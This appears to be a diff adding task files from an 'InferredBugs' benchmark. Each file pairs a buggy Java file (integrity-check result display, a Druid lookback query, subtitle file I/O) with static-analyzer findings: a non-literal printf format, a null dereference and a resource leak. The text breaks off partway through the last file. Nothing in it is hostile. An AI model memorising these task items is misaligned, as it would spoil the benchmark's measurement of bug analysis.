+import static org.fim.util.FormatUtil.formatCreationTime;
+import static org.fim.util.FormatUtil.formatDate;
+import static org.fim.util.FormatUtil.formatLastModified;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+
+import org.fim.util.Console;
+
+public class CompareResult
+{
+	public static final String NOTHING = "[nothing]";
+
+	private static final Comparator<Difference> fileNameComparator = new Difference.FileNameComparator();
+
+	private List<Difference> added;
+	private List<Difference> copied;
+	private List<Difference> duplicated;
+	private List<Difference> dateModified;
+	private List<Difference> contentModified;
+	private List<Difference> attributesModified;
+	private List<Difference> renamed;
+	private List<Difference> deleted;
+	private List<Difference> corrupted;
+
+	private Context context;
+	private State lastState;
+	private boolean searchForHardwareCorruption;
+
+	public CompareResult(Context context, State lastState)
+	{
+		this.context = context;
+		this.lastState = lastState;
+		this.searchForHardwareCorruption = false;
+
+		added = new ArrayList<>();
+		copied = new ArrayList<>();
+		duplicated = new ArrayList<>();
+		dateModified = new ArrayList<>();
+		contentModified = new ArrayList<>();
+		attributesModified = new ArrayList<>();
+		renamed = new ArrayList<>();
+		deleted = new ArrayList<>();
+		corrupted = new ArrayList<>();
+	}
+
+	public boolean isSearchForHardwareCorruption()
+	{
+		return searchForHardwareCorruption;
+	}
+
+	public void setSearchForHardwareCorruption(boolean searchForHardwareCorruption)
+	{
+		this.searchForHardwareCorruption = searchForHardwareCorruption;
+	}
+
+	public void sortResults()
+	{
+		sortDifferences(added);
+		sortDifferences(copied);
+		sortDifferences(duplicated);
+		sortDifferences(dateModified);
+		sortDifferences(contentModified);
+		sortDifferences(attributesModified);
+		sortDifferences(renamed);
+		sortDifferences(deleted);
+		sortDifferences(corrupted);
+	}
+
+	private void sortDifferences(List<Difference> differences)
+	{
+		Collections.sort(differences, fileNameComparator);
+	}
+
+	public CompareResult displayChanges()
+	{
+		if (lastState != null)
+		{
+			System.out.printf("Comparing with the last committed state from %s%n", formatDate(lastState.getTimestamp()));
+			if (lastState.getComment().length() > 0)
+			{
+				System.out.println("Comment: " + lastState.getComment());
+			}
+			Console.newLine();
+		}
+
+		if (!context.isVerbose())
+		{
+			displayCounts();
+			return this;
+		}
+
+		String stateFormat = "%-17s ";
+
+		for (Difference diff : added)
+		{
+			System.out.printf(stateFormat + "%s%n", "Added:", diff.getFileState().getFileName());
+		}
+
+		for (Difference diff : copied)
+		{
+			System.out.printf(stateFormat + "%s \t(was %s)%n", "Copied:", diff.getFileState().getFileName(), diff.getPreviousFileState().getFileName());
+		}
+
+		for (Difference diff : duplicated)
+		{
+			System.out.printf(stateFormat + "%s = %s%s%n", "Duplicated:", diff.getFileState().getFileName(), diff.getPreviousFileState().getFileName(), formatModifiedAttributes(diff, true));
+		}
+
+		for (Difference diff : dateModified)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Date modified:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		for (Difference diff : contentModified)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Content modified:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		for (Difference diff : attributesModified)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Attrs. modified:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		for (Difference diff : renamed)
+		{
+			System.out.printf(stateFormat + "%s -> %s%s%n", "Renamed:", diff.getPreviousFileState().getFileName(), diff.getFileState().getFileName(), formatModifiedAttributes(diff, true));
+		}
+
+		for (Difference diff : deleted)
+		{
+			System.out.printf(stateFormat + "%s%n", "Deleted:", diff.getFileState().getFileName());
+		}
+
+		for (Difference diff : corrupted)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Corrupted?:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		if (somethingModified())
+		{
+			Console.newLine();
+		}
+
+		displayCounts();
+
+		return this;
+	}
+
+	private String formatModifiedAttributes(Difference diff, boolean nextLine)
+	{
+		int modifCount = 0;
+		StringBuilder modification = new StringBuilder(nextLine ? " " : ""); // Put a white space to force to add a separator
+
+		Map<String, String> previousFileAttributes = diff.getPreviousFileState().getFileAttributes();
+		Map<String, String> currentFileAttributes = diff.getFileState().getFileAttributes();
+		for (FileAttribute attribute : FileAttribute.values())
+		{
+			String key = attribute.name();
+			String previousValue = getValue(previousFileAttributes, key);
+			String currentValue = getValue(currentFileAttributes, key);
+
+			if (false == Objects.equals(previousValue, currentValue))
+			{
+				modifCount++;
+				addSeparator(diff, modification);
+				modification.append(key).append(": ").append(previousValue).append(" -> ").append(currentValue);
+			}
+		}
+
+		if (diff.isCreationTimeChanged())
+		{
+			modifCount++;
+			addSeparator(diff, modification);
+			modification.append("creationTime: ").append(formatCreationTime(diff.getPreviousFileState())).append(" -> ").append(formatCreationTime(diff.getFileState()));
+		}
+
+		if (diff.isLastModifiedChanged())
+		{
+			modifCount++;
+			addSeparator(diff, modification);
+			modification.append("lastModified: ").append(formatLastModified(diff.getPreviousFileState())).append(" -> ").append(formatLastModified(diff.getFileState()));
+		}
+
+		if (modifCount > 1)
+		{
+			modification.append('\n');
+		}
+
+		return modification.toString();
+	}
+
+	private void addSeparator(Difference diff, StringBuilder modification)
+	{
+		if (modification.length() == 0)
+		{
+			return;
+		}
+
+		modification.append("\n");
+		int len = 17 + 1 + diff.getFileState().getFileName().length() + 1;
+		for (int index = 0; index < len; index++)
+		{
+			modification.append(' ');
+		}
+		modification.append('\t');
+	}
+
+	private String getValue(Map<String, String> attributes, String key)
+	{
+		String value = attributes != null ? attributes.get(key) : null;
+		if (value == null || value.length() == 0)
+		{
+			value = NOTHING;
+		}
+		return value;
+	}
+
+	public CompareResult displayCounts()
+	{
+		if (somethingModified())
+		{
+			String message = "";
+			if (!added.isEmpty())
+			{
+				message += "" + added.size() + " added, ";
+			}
+
+			if (!copied.isEmpty())
+			{
+				message += "" + copied.size() + " copied, ";
+			}
+
+			if (!duplicated.isEmpty())
+			{
+				message += "" + duplicated.size() + " duplicated, ";
+			}
+
+			if (!dateModified.isEmpty())
+			{
+				message += "" + dateModified.size() + " date modified, ";
+			}
+
+			if (!attributesModified.isEmpty())
+			{
+				message += "" + attributesModified.size() + " attrs. modified, ";
+			}
+
+			if (!contentModified.isEmpty())
+			{
+				message += "" + contentModified.size() + " content modified, ";
+			}
+
+			if (!renamed.isEmpty())
+			{
+				message += "" + renamed.size() + " renamed, ";
+			}
+
+			if (!deleted.isEmpty())
+			{
+				message += "" + deleted.size() + " deleted, ";
+			}
+
+			if (!corrupted.isEmpty())
+			{
+				message += "" + corrupted.size() + " corrupted, ";
+			}
+
+			message = message.replaceAll(", $", "");
+			System.out.println(message);
+		}
+		else
+		{
+			if (isSearchForHardwareCorruption())
+			{
+				System.out.println("Nothing corrupted");
+			}
+			else
+			{
+				System.out.println("Nothing modified");
+			}
+		}
+
+		return this;
+	}
+
+	public boolean somethingModified()
+	{
+		return modifiedCount() > 0;
+	}
+
+	public int modifiedCount()
+	{
+		return added.size() + copied.size() + duplicated.size() + dateModified.size() + contentModified.size() +
+				attributesModified.size() + renamed.size() + deleted.size() + corrupted.size();
+	}
+
+	public ModificationCounts getModificationCounts()
+	{
+		ModificationCounts modificationCounts = new ModificationCounts();
+		modificationCounts.setAdded(added.size());
+		modificationCounts.setCopied(copied.size());
+		modificationCounts.setDuplicated(duplicated.size());
+		modificationCounts.setDateModified(dateModified.size());
+		modificationCounts.setContentModified(contentModified.size());
+		modificationCounts.setAttributesModified(attributesModified.size());
+		modificationCounts.setRenamed(renamed.size());
+		modificationCounts.setDeleted(deleted.size());
+
+		return modificationCounts;
+	}
+
+	public List<Difference> getAdded()
+	{
+		return added;
+	}
+
+	public List<Difference> getCopied()
+	{
+		return copied;
+	}
+
+	public List<Difference> getDuplicated()
+	{
+		return duplicated;
+	}
+
+	public List<Difference> getDateModified()
+	{
+		return dateModified;
+	}
+
+	public List<Difference> getContentModified()
+	{
+		return contentModified;
+	}
+
+	public List<Difference> getAttributesModified()
+	{
+		return attributesModified;
+	}
+
+	public List<Difference> getRenamed()
+	{
+		return renamed;
+	}
+
+	public List<Difference> getDeleted()
+	{
+		return deleted;
+	}
+
+	public List<Difference> getCorrupted()
+	{
+		return corrupted;
+	}
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+CompareResult CompareResult.displayChanges()
+
+### Procedure Id:
+org.fim.model.CompareResult.displayChanges():org.fim.model.CompareResult.a1ae9cd3721eb660a7fec409bf8af966
+
+### File:
+src/main/java/org/fim/model/CompareResult.java
+
+### Key:
+CompareResult.java|displayChanges|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+8f5f91250d216a5d69d5b79057aab607
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8441/instruction.md b/inferredbugs-8441/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a60af3abcf820c98aa88846ca4a1fa668ad4f454
--- /dev/null
+++ b/inferredbugs-8441/instruction.md
@@ -0,0 +1,410 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fili
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// Copyright 2016 Yahoo Inc.
+// Licensed under the terms of the Apache license. Please see LICENSE.md file distributed with this work for terms.
+package com.yahoo.bard.webservice.druid.model.query;
+
+import com.yahoo.bard.webservice.data.dimension.Dimension;
+import com.yahoo.bard.webservice.druid.model.DefaultQueryType;
+import com.yahoo.bard.webservice.druid.model.aggregation.Aggregation;
+import com.yahoo.bard.webservice.druid.model.datasource.DataSource;
+import com.yahoo.bard.webservice.druid.model.datasource.QueryDataSource;
+import com.yahoo.bard.webservice.druid.model.filter.Filter;
+import com.yahoo.bard.webservice.druid.model.having.Having;
+import com.yahoo.bard.webservice.druid.model.orderby.LimitSpec;
+import com.yahoo.bard.webservice.druid.model.postaggregation.PostAggregation;
+import com.yahoo.bard.webservice.metadata.RequestedIntervalsFunction;
+import com.yahoo.bard.webservice.util.SimplifiedIntervalList;
+import com.yahoo.bard.webservice.web.ErrorMessageFormat;
+
+import com.fasterxml.jackson.annotation.JsonIgnore;
+import com.fasterxml.jackson.annotation.JsonInclude;
+import com.fasterxml.jackson.annotation.JsonProperty;
+
+import org.joda.time.Interval;
+import org.joda.time.Period;
+import org.joda.time.base.AbstractPeriod;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
+/**
+ * Druid lookback query.
+ */
+public class LookbackQuery extends AbstractDruidAggregationQuery<LookbackQuery> {
+
+    @JsonInclude(JsonInclude.Include.NON_NULL)
+    private final Having having;
+
+    @JsonInclude(JsonInclude.Include.NON_NULL)
+    private final LimitSpec limitSpec;
+
+    @JsonInclude(JsonInclude.Include.NON_NULL)
+    private final Collection<String> lookbackPrefixes;
+
+    private final Collection<Period> lookbackOffsets;
+
+    /**
+     * Constructor.
+     *
+     * @param dataSource  DataSource for the query
+     * @param granularity  Granularity for the query
+     * @param filter  Filter for the query
+     * @param aggregations  Aggregations for the query
+     * @param postAggregations  Post-aggregation operation trees for the query
+     * @param context  Query context
+     * @param intervals  Query intervals
+     * @param doFork  If the query should track it's forks or not
+     * @param lookbackOffsets  Set of period offsets
+     * @param lookbackPrefixes  Set of prefixes for the lookback queries (should match the lookbackOffsets)
+     * @param having  Having clause to apply to the result query
+     * @param limitSpec  Limit spec to apply to the result query
+     */
+    private LookbackQuery(
+            DataSource dataSource,
+            Granularity granularity,
+            Filter filter,
+            Collection<Aggregation> aggregations,
+            Collection<PostAggregation> postAggregations,
+            Collection<Interval> intervals,
+            QueryContext context,
+            boolean doFork,
+            Collection<Period> lookbackOffsets,
+            Collection<String> lookbackPrefixes,
+            Having having,
+            LimitSpec limitSpec
+    ) {
+        super(
+                DefaultQueryType.LOOKBACK,
+                dataSource,
+                granularity,
+                Collections.<Dimension>emptySet(),
+                filter,
+                aggregations,
+                postAggregations,
+                intervals,
+                context,
+                doFork
+        );
+
+        this.having = having;
+        this.limitSpec = limitSpec;
+        this.lookbackOffsets = lookbackOffsets != null ? new ArrayList<>(lookbackOffsets) : null;
+        this.lookbackPrefixes = lookbackPrefixes != null ? new ArrayList<>(lookbackPrefixes) : null;
+    }
+
+    /**
+     * Constructor.
+     *
+     * @param dataSource  DataSource for the query
+     * @param postAggregations  Post-aggregation operation trees for the query
+     * @param context  Query context
+     * @param lookbackOffsets  Set of period offsets
+     * @param lookbackPrefixes  Set of prefixes for the lookback queries (should match the lookbackOffsets)
+     * @param having  Having clause to apply to the result query
+     * @param limitSpec  Limit spec to apply to the result query
+     */
+    public LookbackQuery(
+            DataSource dataSource,
+            Collection<PostAggregation> postAggregations,
+            QueryContext context,
+            Collection<Period> lookbackOffsets,
+            Collection<String> lookbackPrefixes,
+            Having having,
+            LimitSpec limitSpec
+    ) {
+        this(
+                dataSource,
+                null,
+                null,
+                Collections.<Aggregation>emptySet(),
+                postAggregations,
+                Collections.<Interval>emptySet(),
+                context,
+                false,
+                lookbackOffsets,
+                lookbackPrefixes,
+                having,
+                limitSpec
+        );
+    }
+
+    @Override
+    public DruidAggregationQuery<?> getInnerQuery() {
+        return (DruidAggregationQuery) this.dataSource.getQuery();
+    }
+
+    public Having getHaving() {
+        return having;
+    }
+
+    public LimitSpec getLimitSpec() {
+        return limitSpec;
+    }
+
+    public Collection<String> getLookbackPrefixes() {
+        return lookbackPrefixes;
+    }
+
+    @JsonIgnore
+    public Collection<Period> getLookbackOffsets() {
+        return lookbackOffsets;
+    }
+
+    /**
+     * Get the collection of lookback offsets.
+     *
+     * @return  The collection of lookback offsets.
+     */
+    @JsonProperty(value = "lookbackOffsets")
+    public List<String> getlookbackOffsets() {
+        return lookbackOffsets.stream().map(AbstractPeriod::toString).collect(Collectors.toList());
+    }
+
+    @Override
+    @JsonIgnore
+    public Granularity getGranularity() {
+        return getInnerQuery().getGranularity();
+    }
+
+    @Override
+    @JsonIgnore
+    public Set<Aggregation> getAggregations() {
+        return getInnerQuery().getAggregations();
+    }
+
+    @Override
+    @JsonIgnore
+    public Filter getFilter() {
+        return getInnerQuery().getFilter();
+    }
+
+    @Override
+    @JsonIgnore
+    public List<Interval> getIntervals() {
+        return getInnerQuery().getIntervals();
+    }
+
+    @Override
+    @JsonIgnore
+    public Collection<Dimension> getDimensions() {
+        return getInnerQuery().getDimensions();
+    }
+
+    @JsonProperty(value = "postAggregations")
+    public Collection<PostAggregation> getLookbackPostAggregations() {
+        return new LinkedHashSet<>(postAggregations);
+    }
+
+    @Override
+    @JsonIgnore
+    public Collection<PostAggregation> getPostAggregations() {
+        return Stream.concat(getInnerQuery().getPostAggregations().stream(), postAggregations.stream())
+                .collect(Collectors.toCollection(LinkedHashSet<PostAggregation>::new));
+    }
+
+    // CHECKSTYLE:OFF
+
+    @Override
+    public LookbackQuery withAggregations(Collection<Aggregation> aggregations) {
+        return withDataSource(new QueryDataSource(getInnerQuery().withAggregations(aggregations)));
+    }
+
+    @Override
+    public LookbackQuery withPostAggregations(Collection<PostAggregation> postAggregations) {
+        throw new UnsupportedOperationException(ErrorMessageFormat.UNSUPPORTED_LOOKBACKQUERY_OPERATION.format());
+    }
+
+    /**
+     * Update the postAggregations of the nested inner query. The PostAggregations of the LookbackQuery(outer query)
+     * remain unchanged
+     *
+     * @param postAggregations  A Collection of PostAggregations
+     *
+     * @return A LookbackQuery whose datasource is built using the provided postAggregations
+     */
+    public LookbackQuery withInnerQueryPostAggregations(Collection<PostAggregation> postAggregations) {
+        return new LookbackQuery(new QueryDataSource(getInnerQuery().withPostAggregations(postAggregations)), granularity, filter, aggregations, getLookbackPostAggregations(), intervals, context, false, lookbackOffsets, lookbackPrefixes, having, limitSpec);
+    }
+
+    /**
+     * Update the postAggregations  of the LookbackQuery(outer query).
+     *
+     * @param postAggregations  A Collection of PostAggregations
+     *
+     * @return A LookbackQuery built using the provided postAggregations
+     */
+    public LookbackQuery withLookbackQueryPostAggregations(Collection<PostAggregation> postAggregations) {
+        return new LookbackQuery(dataSource, granularity, filter, aggregations, postAggregations, intervals, context, false, lookbackOffsets, lookbackPrefixes, having, limitSpec);
+    }
+
+    @Override
+    public LookbackQuery withGranularity(Granularity granularity) {
+        return withDataSource(new QueryDataSource(getInnerQuery().withGranularity(granularity)));
+    }
+
+    @Override
+    public LookbackQuery withFilter(Filter filter) {
+        return withDataSource(new QueryDataSource(getInnerQuery().withFilter(filter)));
+    }
+
+    @Override
+    public LookbackQuery withIntervals(Collection<Interval> intervals) {
+        return withDataSource(new QueryDataSource(getInnerQuery().withIntervals(intervals)));
+    }
+
+    @Override
+    public LookbackQuery withAllIntervals(Collection<Interval> intervals) {
+        DruidFactQuery<?> innerQuery = (DruidFactQuery<?>) this.dataSource.getQuery();
+        return (innerQuery == null) ?
+                withIntervals(intervals) :
+                withDataSource(new QueryDataSource(innerQuery.withAllIntervals(intervals))).withIntervals(intervals);
+    }
+
+    @Override
+    public LookbackQuery withDataSource(DataSource dataSource) {
+        return new LookbackQuery(dataSource, granularity, filter, aggregations, postAggregations, intervals, context, false, lookbackOffsets, lookbackPrefixes, having, limitSpec);
+    }
+
+    @Override
+    public LookbackQuery withInnermostDataSource(DataSource dataSource) {
+        DruidFactQuery<?> innerQuery = (DruidFactQuery<?>) this.dataSource.getQuery();
+        return (innerQuery == null) ?
+                withDataSource(dataSource) :
+                withDataSource(new QueryDataSource(innerQuery.withInnermostDataSource(dataSource)));
+    }
+
+    @Override
+    public LookbackQuery withContext(QueryContext context) {
+        return new LookbackQuery(dataSource, granularity, filter, aggregations, postAggregations, intervals, context, false, lookbackOffsets, lookbackPrefixes, having, limitSpec);
+    }
+
+    public LookbackQuery withOrderBy(LimitSpec limitSpec) {
+        return new LookbackQuery(dataSource, granularity, filter, aggregations, postAggregations, intervals, context, false, lookbackOffsets, lookbackPrefixes, having, limitSpec);
+    }
+
+    public LookbackQuery withHaving(Having having) {
+        return new LookbackQuery(dataSource, granularity, filter, aggregations, postAggregations, intervals, context, false, lookbackOffsets, lookbackPrefixes, having, limitSpec);
+    }
+
+    public LookbackQuery withLookbackPrefix(List<String> lookbackPrefixes) {
+        return new LookbackQuery(dataSource, granularity, filter, aggregations, postAggregations, intervals, context, false, lookbackOffsets, lookbackPrefixes, having, limitSpec);
+    }
+
+    public LookbackQuery withLookbackOffsets(List<Period> lookbackOffsets) {
+        return new LookbackQuery(dataSource, granularity, filter, aggregations, postAggregations, intervals, context, false, lookbackOffsets, lookbackPrefixes, having, limitSpec);
+    }
+    // CHECKSTYLE:ON
+
+    /**
+     * The function to get requestedIntervals from a LookbackQuery.
+     */
+    public static class LookbackQueryRequestedIntervalsFunction implements RequestedIntervalsFunction {
+
+        @Override
+        public SimplifiedIntervalList apply(DruidAggregationQuery<?> druidAggregationQuery) {
+
+            LookbackQuery castQuery = (LookbackQuery) druidAggregationQuery;
+            return Stream.concat(
+                    castQuery.getIntervals().stream(),
+                    castQuery.getIntervals().stream()
+                            .flatMap(interval -> castQuery.getLookbackOffsets().stream()
+                                    .map(lookbackOffset -> getCohortInterval(interval, lookbackOffset))
+                            )
+            ).collect(SimplifiedIntervalList.getCollector());
+        }
+
+        /**
+         * Given an interval and a lookbackOffset, calculate the cohortInterval.
+         *
+         * @param interval  The measurement interval to which the offset is added
+         * @param lookbackOffset  The offset to be added to the given interval
+         *
+         * @return Cohort interval calculated using the given interval and lookbackOffset
+         */
+        private Interval getCohortInterval(Interval interval, Period lookbackOffset) {
+            return new Interval(
+                    interval.getStart().withPeriodAdded(lookbackOffset, 1),
+                    interval.getEnd().withPeriodAdded(lookbackOffset, 1)
+            );
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getInnerQuery()` could be null and is dereferenced at line 247.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+LookbackQuery LookbackQuery.withGranularity(Granularity)
+
+### Procedure Id:
+com.yahoo.bard.webservice.druid.model.query.LookbackQuery.withGranularity(com.yahoo.bard.webservice..127323f47cfe284433e756f7d7467bab
+
+### File:
+fili-core/src/main/java/com/yahoo/bard/webservice/druid/model/query/LookbackQuery.java
+
+### Key:
+LookbackQuery.java|withGranularity|NULL_DEREFERENCE
+
+### Node Key:
+2cb1d0ccf8074a598a85b7d11f296818
+
+### Hash:
+17c0f73f73eaa59e4616df4c48839b78
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8502/instruction.md b/inferredbugs-8502/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b41881dec0a171ea103236f73181b01fffe90500
--- /dev/null
+++ b/inferredbugs-8502/instruction.md
@@ -0,0 +1,189 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** subtitleConverter
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.PrintWriter;
+
+/**
+ * 
+ * @author J. David
+ * 
+ * Class that handles reading and writing files or reads from keyboard
+ *
+ */
+public class IOClass {
+	
+	/**
+	 * Method to get the file name (or path relative to the directory) and file to write to
+	 * in the form of an array of strings where each string represents a line
+	 * 
+	 * @param fileName name of the file (or path relative to directory)
+	 * @param totalFile array of strings where each string represents a line in the file
+	 */
+	public static void writeFileTxt(String fileName, String[] totalFile){
+		FileWriter file = null;
+	    PrintWriter pw = null;
+	    try
+	    {
+	        file = new FileWriter(System.getProperty("user.dir")+"/"+fileName);
+	        pw = new PrintWriter(file);
+	
+	        for (int i = 0; i < totalFile.length; i++)
+	            pw.println(totalFile[i]);
+	
+	    } catch (Exception e) {
+	        e.printStackTrace();
+	    } finally {
+	       try {
+	       // Execute the "finally" to make sure the file is closed
+	       if (null != file)
+	          file.close();
+	       } catch (Exception e2) {
+	          e2.printStackTrace();
+	       }
+	    }
+	}
+	
+	/**
+	 * Method to get the file name (or path relative to the directory) and file to write to
+	 * in the form of an array of strings where each string represents a line
+	 * 
+	 * @param fileName name of the file (or path relative to directory)
+	 * @param s array of strings where each string represents a line in the file
+	 */
+	public static String[] readfileTxt(String fileName){
+		
+		String [] s = new String [0];
+		String direccion = System.getProperty("user.dir")+"/"+ fileName;
+		
+		// Try to load the file (archive)
+		File archive = null;
+        FileReader fr = null;
+        BufferedReader br = null;
+		try {
+	        // Open the file and create BufferedReader in order to
+	        // reading easier (disposing the method readLine()).
+	        archive = new File (direccion);
+	        fr = new FileReader (archive);
+	        br = new BufferedReader(fr);
+
+	        // Reading the file
+	        String line = null;
+	        while((line=br.readLine())!=null){
+	        	int n=0;
+	        	String [] s2 = new String[s.length+1];
+	        	for(n=0;n<s.length;n++)s2[n] = s[n];
+	        	s2[n]=line.trim();
+	        	s=s2;
+	        }
+	     }catch(Exception e){
+	        System.err.println("File not found");
+	        System.exit(-1);
+	     }finally{
+	        // In the "finally" block, try to close the file and ensure
+	        // that it closes, otherwise, throw an exception
+	        try{                    
+	           if( null != fr ){   
+	              fr.close();     
+	           }                  
+	        }catch (Exception e2){ 
+	           e2.printStackTrace();
+	        }
+	     }
+		return s;
+	}
+	
+	/**
+	 * Method to read a line from the keyboard
+	 * 
+	 * @return Returns the string being read
+	 */
+	public static String readTeclado(){
+		String response = null;
+		try{
+			InputStreamReader isr = new InputStreamReader (System.in);
+			BufferedReader br = new BufferedReader (isr);
+			response = br.readLine();
+		} catch (IOException e){
+			System.err.println("Error reading keyboard, program complete");
+			System.exit(-1);
+		}
+		return response;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PrintWriter` acquired by call to `new()` at line 31 is not released after line 41.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void IOClass.writeFileTxt(String,java.lang.String[])
+
+### Procedure Id:
+IOClass.writeFileTxt(java.lang.String,java.lang.String[]):void.14905f53a789b2eb1ddf894012979f91
+
+### File:
+src/main/java/IOClass.java
+
+### Key:
+IOClass.java|writeFileTxt|RESOURCE_LEAK
+
+### Node Key:
+0ae50c7438ede06e76b7a4281b6a3908
+
+### Hash:
+444a323245cec6d46e5a420214fdf1f6
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8503/instruction.md b/inferredbugs-8503/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..73a0119111ba24759a0566a776019a0d33b5c8fc
--- /dev/null
+++ b/inferredbugs-8503/instruction.md
@@ -0,0 +1,189 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** subtitleConverter
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.PrintWriter;
+
+/**
+ * 
+ * @author J. David
+ * 
+ * Class that handles reading and writing files or reads from keyboard
+ *
+ */
+public class IOClass {
+	
+	/**
+	 * Method to get the file name (or path relative to the directory) and file to write to
+	 * in the form of an array of strings where each string represents a line
+	 * 
+	 * @param fileName name of the file (or path relative to directory)
+	 * @param totalFile array of strings where each string represents a line in the file
+	 */
+	public static void writeFileTxt(String fileName, String[] totalFile){
+		FileWriter file = null;
+	    PrintWriter pw = null;
+	    try
+	    {
+	        file = new FileWriter(System.getProperty("user.dir")+"/"+fileName);
+	        pw = new PrintWriter(file);
+	
+	        for (int i = 0; i < totalFile.length; i++)
+	            pw.println(totalFile[i]);
+	
+	    } catch (Exception e) {
+	        e.printStackTrace();
+	    } finally {
+	       try {
+	       // Execute the "finally" to make sure the file is closed
+	       if (null != file)
+	          file.close();
+	       } catch (Exception e2) {
+	          e2.printStackTrace();
+	       }
+	    }
+	}
+	
+	/**
+	 * Method to get the file name (or path relative to the directory) and file to write to
+	 * in the form of an array of strings where each string represents a line
+	 * 
+	 * @param fileName name of the file (or path relative to directory)
+	 * @param s array of strings where each string represents a line in the file
+	 */
+	public static String[] readfileTxt(String fileName){
+		
+		String [] s = new String [0];
+		String direccion = System.getProperty("user.dir")+"/"+ fileName;
+		
+		// Try to load the file (archive)
+		File archive = null;
+        FileReader fr = null;
+        BufferedReader br = null;
+		try {
+	        // Open the file and create BufferedReader in order to
+	        // reading easier (disposing the method readLine()).
+	        archive = new File (direccion);
+	        fr = new FileReader (archive);
+	        br = new BufferedReader(fr);
+
+	        // Reading the file
+	        String line = null;
+	        while((line=br.readLine())!=null){
+	        	int n=0;
+	        	String [] s2 = new String[s.length+1];
+	        	for(n=0;n<s.length;n++)s2[n] = s[n];
+	        	s2[n]=line.trim();
+	        	s=s2;
+	        }
+	     }catch(Exception e){
+	        System.err.println("File not found");
+	        System.exit(-1);
+	     }finally{
+	        // In the "finally" block, try to close the file and ensure
+	        // that it closes, otherwise, throw an exception
+	        try{                    
+	           if( null != fr ){   
+	              fr.close();     
+	           }                  
+	        }catch (Exception e2){ 
+	           e2.printStackTrace();
+	        }
+	     }
+		return s;
+	}
+	
+	/**
+	 * Method to read a line from the keyboard
+	 * 
+	 * @return Returns the string being read
+	 */
+	public static String readTeclado(){
+		String response = null;
+		try{
